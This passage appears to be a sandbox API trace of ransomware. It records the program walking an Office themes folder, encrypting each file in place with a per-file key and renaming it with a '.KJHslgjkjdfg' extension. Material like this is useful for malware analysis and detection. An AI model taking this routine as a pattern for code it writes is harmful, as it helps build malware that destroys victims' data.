dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0151.272] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0151.272] GetProcessHeap () returned 0x2a0000 [0151.272] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0151.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.276] GetProcessHeap () returned 0x2a0000 [0151.276] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.276] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.276] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.276] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0151.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.278] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.278] GetProcessHeap () returned 0x2a0000 [0151.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.278] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.278] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.278] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.278] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.279] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.279] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.279] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.279] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.279] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.279] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.279] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.279] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x623, lpOverlapped=0x0) returned 1 [0151.279] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x630, dwBufLen=0x630 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x630) returned 1 [0151.279] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.279] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x630, lpOverlapped=0x0) returned 1 [0151.279] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.279] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.279] SetEndOfFile (hFile=0x118) returned 1 [0151.282] GetProcessHeap () returned 0x2a0000 [0151.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.282] GetProcessHeap () returned 0x2a0000 [0151.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.kjhslgjkjdfg")) returned 1 [0151.283] CloseHandle (hObject=0x118) returned 1 [0151.283] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0151.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.284] GetProcessHeap () returned 0x2a0000 [0151.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.284] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.284] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.284] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0151.287] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.287] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.287] GetProcessHeap () returned 0x2a0000 [0151.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.287] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.287] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.287] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.287] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.287] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.288] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.288] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.288] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.288] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.288] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.288] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.288] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x75da, lpOverlapped=0x0) returned 1 [0151.289] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x75e0, dwBufLen=0x75e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x75e0) returned 1 [0151.289] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.289] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x75e0, lpOverlapped=0x0) returned 1 [0151.289] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.290] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x76b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.290] SetEndOfFile (hFile=0x118) returned 1 [0151.292] GetProcessHeap () returned 0x2a0000 [0151.292] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.292] GetProcessHeap () returned 0x2a0000 [0151.292] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0151.303] CloseHandle (hObject=0x118) returned 1 [0151.303] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0151.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.304] GetProcessHeap () returned 0x2a0000 [0151.304] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.304] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.304] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.304] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0151.308] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.308] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.308] GetProcessHeap () returned 0x2a0000 [0151.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.308] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.308] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.308] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.309] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.309] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.309] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.309] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.309] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.309] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.309] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.309] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.309] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbfc6, lpOverlapped=0x0) returned 1 [0151.311] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbfd0, dwBufLen=0xbfd0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbfd0) returned 1 [0151.312] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.312] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbfd0, lpOverlapped=0x0) returned 1 [0151.312] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.312] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xc0a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.312] SetEndOfFile (hFile=0x118) returned 1 [0151.316] GetProcessHeap () returned 0x2a0000 [0151.316] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.316] GetProcessHeap () returned 0x2a0000 [0151.316] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.kjhslgjkjdfg")) returned 1 [0151.327] CloseHandle (hObject=0x118) returned 1 [0151.328] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0151.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.328] GetProcessHeap () returned 0x2a0000 [0151.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.328] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.329] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.329] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0151.345] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.345] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.345] GetProcessHeap () returned 0x2a0000 [0151.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.346] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.346] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.346] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.346] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.346] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.346] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.346] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.346] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.347] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.347] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.347] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.347] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2ab, lpOverlapped=0x0) returned 1 [0151.347] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2b0) returned 1 [0151.347] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.347] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2b0, lpOverlapped=0x0) returned 1 [0151.347] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.347] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.347] SetEndOfFile (hFile=0x118) returned 1 [0151.350] GetProcessHeap () returned 0x2a0000 [0151.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.350] GetProcessHeap () returned 0x2a0000 [0151.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.kjhslgjkjdfg")) returned 1 [0151.353] CloseHandle (hObject=0x118) returned 1 [0151.354] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0151.354] GetProcessHeap () returned 0x2a0000 [0151.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.354] CryptDecrypt (in: 